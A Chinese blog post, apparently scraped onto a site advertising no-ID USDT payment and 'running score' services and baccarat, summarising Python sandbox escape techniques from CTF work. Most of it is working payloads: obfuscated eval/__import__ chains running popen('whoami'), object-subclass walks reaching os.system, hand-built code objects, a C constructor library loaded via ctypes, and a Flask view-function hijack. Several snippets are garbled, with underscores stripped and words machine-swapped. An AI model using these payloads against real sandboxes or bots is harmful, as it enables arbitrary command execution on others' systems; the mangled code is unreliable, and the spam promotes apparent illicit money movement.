usdt跑分网

baccarat:python沙箱逃逸总结

admin 2021年02月21日 科技 43 0

USDT官网

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

概述

学弟写了个Python的qq机器人,有代码执行,试着逃逸了一波,顺变想总结一下以前看到的用__code__逃逸的姿势,以是有了这篇文章.
沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤到达更高权限,或者geshell的历程

字符串过滤

若是问题是通过正则过滤,eval,import 等危险字符,

随便字符的获取

首先我们要行使拼接等方式,获取随便字符,利便后续的绕过

有引号的情形

若是没有过滤引号,那姿势就有很多了,假设目的字符为flag

'galf'[::-1]
\146\154\141\147 ,8进制
\x66\x6c\x61\x67 ,16进制
'flab'.replace('b','g')
'f'+'lag'
'f''lag'
a='fl';b='ag';f'{a}{b}'
'%clag'%(102)
chr(102)+'lag'
python2还可以通过hex(1718378855)[2:].decode('hex')这种方式获得随便字符,然则在python3中hex的解码被移动到了codecs.encode()中

都可以获得想要的字符

无引号的情形

chr(102)+chr(108)+chr(97)+chr(103)
str().join(list(dict(fl=1,ag=2).keys()))
也可以通过dir(dir)[1][2]等获取单个字符然后拼接

代码执行

我们先看一些python的相关知识

每个模块都有自己的globals变量空间,在局部作用域中,有locals变量空间,这些变量空间都可以通过globals(),locals()接见修改,个个模块之前的联系通过import实现,所有模块都引用一个builtins模块,提供python内建函数的支持

  1. 函数或者工具方式都存在func.__globals__示意当前函数可接见的变量空间

code工具示意字节编译的可执行Python代码或字节码,函数的func.__code__执行当前函数的code工具

  1. python所有的工具的基类为object工具,
关于代码执行的,我们大概有以下几个思绪

1. 行使冷门执行下令的库
2. 行使getattr
3. 行使python code工具
4. 行使object 子类

,,,, 行使冷门执行下令的库

os
commands:仅限2.x
subprocess
timeit:timeit.sys、timeit.timeit("import('os').system('whoami')", number=1) ,,之后行使时间盲注
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
行使f-string,执行,然则由于不能编码,无法绕过一下过滤
f'{import("os").system("whoami")}'

,,,, globals\locals

`

globals()['builtin'].dict.get('eval')('1+1')

,,,, getattr\```__getattribute__\__dict__```

通过前文的随便字符的获取,我们已经获取了字符串'eval,而getattr可以帮我们获得现实的eval函数,

getattr返回工具命名属性的值,它现实上挪用工具的```__getattribute__```魔术方式,而且工具的属性会存储在```__dict__```中

由前文我们知道,builtins是被所有模块引用,因此,我们可以通过这种接见获取builtins在获取eval方式,举行随便代码执行.

```
getattr(base64,'\x5f\x5fb\x75iltins\x5f\x5f').get('ev\x61l')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27whoami\x27\x29\x2e\x72\x65\x61\x64\x28\x29')

getattr(linecache,'os')
linecache.__dict__['os']
__builtins__.__dict__['eval']
__builtin__.__dict__['eval']
```



,,,, 行使python code工具

我们知道,代码的执行,现实上是执行code工具,由于我们可以之间组织code工具,举行随便代码执行

code工具的组织,可能要依赖详细的python版本,我的实验环境是python3.9

,,,,, 行使complie构建

comlie可以获取一个code工具,然后行使type获取Function类执行这个code工具,这里传入一个外部模块利便我们 使用builtins

```
type(lambda*a:1)(compile('a.__builtins__["__import__"]("""os""").popen("whoami").read()','','eval'),dict(a=base64))()
```

,,,,, 手工构建

随便自定义一个函数,然后修改函数```__code__```值,实现随便代码执行

def target():
print(import('os').popen('whoami').read())
code="a=(lambda*a:1);a.code=type(target.code)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
target.code.co_argcount,\
target.code.co_posonlyargcount,\
target.code.co_kwonlyargcount,\
target.code.co_nlocals,\
target.code.co_stacksize,\
target.code.co_flags,\
target.code.co_code.hex(),\
target.code.co_consts,\
target.code.co_names, \
target.code.co_varnames,\
target.code.co_filename,\
target.code.co_name,\
target.code.co_firstlineno,\
target.code.co_lnotab.hex(),\
target.code.co_freevars,\
target.code.co_cellvars)
print(code)

![截屏2021-01-11 下昼7.51.44](https://cdn.jsdelivr.net/gh/W4ndell/static/img/截屏2021-01-11 下昼7.51.44.png)

通过这种方式,把要执行的下令转成字符串的形式,配合前文字符串的绕过,乐成举行代码执行

,,,, 行使object 

object的子类中有所有的类,我们可以通过类方式的`func.__globals__`获取到builtins进而之间举行代码执行

需要由于需要重载过的类方式才有```__globals__```,以是59需要爆破

object.subclasses()[59].init.globals['builtins']'eval'.popen("ls").read()'
[].class.bases[0].subclasses()[59].init.globals['builtins']'eval'.popen("ls").read()'
''.class.mro[2].subclasses()[59].init.globals['builtins']'eval'.popen("ls").read()')

,, 限制import

,,, 行使重载绕过限制

import的语法会挪用```__import__```函数,而```importlib.import_module```是其背后的实现

要是上述都被限制

我们还可以通过````importlib.reload```重载```__builtins__```模块恢复限制,

若reload也无法使用,

,,,  直接执行绕过限制
我们可以通过之间执行,os.py 文件导入popen函数

exec(open('/usr/local/Cellar/python@3.9/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py').read())
popen('ls').read()

,,,行使一下已经导入os的模块
或者行使一些已经导入os的模块

先获取所有子类

可以思量行使class 'warnings.catch_warnings',从.init.func_globals.values()[13]获取eval,map等等;又或者从.init.func_globals[linecache]获得os
pyhton2
class 'warnings.catch_warnings'
59 是这个类,差别环境可能不一样,这个类的归属linecache模块,在这个模块中导入了os库
().class.bases[0].subclasses()[59].init.func_globals['linecache'].dict['o'+'s'].dict'sy'+'stem'
().class.bases[0].subclasses()[59].init.func_globals.values()[13]'eval'.system("ls")')
Python3
().class.bases[0].subclasses()[93].init.globals["sys"].modules["os"].system("ls")
[].class.base.subclasses()[127].init.globals'system'

这个思绪大要为,由于可以通过object工具获取所有类,还可以通过函数```__globals__```,获取当前函数的作用域,若是一些内置模块导入了os等危险库,而恰巧对object工具获取所有类的方式的命名空间又可见,则可以通过globals获取已导入的os并行使.

详细可以参考

https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/


,,, 加载c扩展绕过限制
若是os.py被删,

import还在的话,我们可以通过自定义加载器或者上传文件之间执行,加载自己实现的python模块,举行下令执行

include <stdio.h>

void my_init(void) attribute((constructor));
void my_init(void)
{
system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}

编译好so文件后写入/tmp/bk.so

先写入so文件,然后使用ctypes加载so

<class 'ctypes.CDLL'>,<class 'ctypes.LibraryLoader'>
().class.bases[0].subclasses()86.class.bases[0].subclasses()[85]).LoadLibrary('/tmp/bk.so')

,,, 行使pwn

参考```PlaidCTF 2014 '__nightmares__'

https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

,

usdt收款平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

需要有操作文件的函数,挟制got表,从而rce

参考TCTF 2017 final Python

https://www.anquanke.com/post/id/86366%E3%80%82

直接行使opcode,rce

其他特殊

限制()

若是过滤了(),则不能执行函数

我们可以通过赋值挟制,builtins模块,行使模块之间的引用关系,挟制后续一个传入内容可控的函数为eval举行随便代码执行

参考sctf2020 pysandbox2

app.view_functions[request.form[[].__doc__[1]]]=lambda:request.form[[].__doc__[0]];app.view_functions[1]=app.finalize_request;app.finalize_request=eval&u=security&B=self.view_functions[1](eval("__import__('os').popen('ls').read()"))

sys.modules

sys.modules 是一个字典,内里储存了加载过的模块信息,然则不能直接使用, sys.modules 中未经 import 加载的模块对当前空间是不能见的.

若是在

sys.modules['os'] = 'not allowed'

修改os库,会会导致import失败,

我们只要

del sys.modules['os']

既可导入

参考资料

http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html

Paving the Way to Securing the Python Interpreter

https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/,%E7%89%B9%E6%AE%8A%E5%87%BD%E6%95%B0%E6%9F%A5%E6%89%BE

https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

https://blog.csdn.net/wy_97/article/details/80393854

https://delcoding.github.io/2018/05/ciscn-writeup/

usdt跑分网声明:该文看法仅代表作者自己,与本平台无关。转载请注明:baccarat:python沙箱逃逸总结
发布评论

分享到:

choi baccarat:阿的江为何签不下八一球员?新疆队正式回应,全力打击总冠军
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。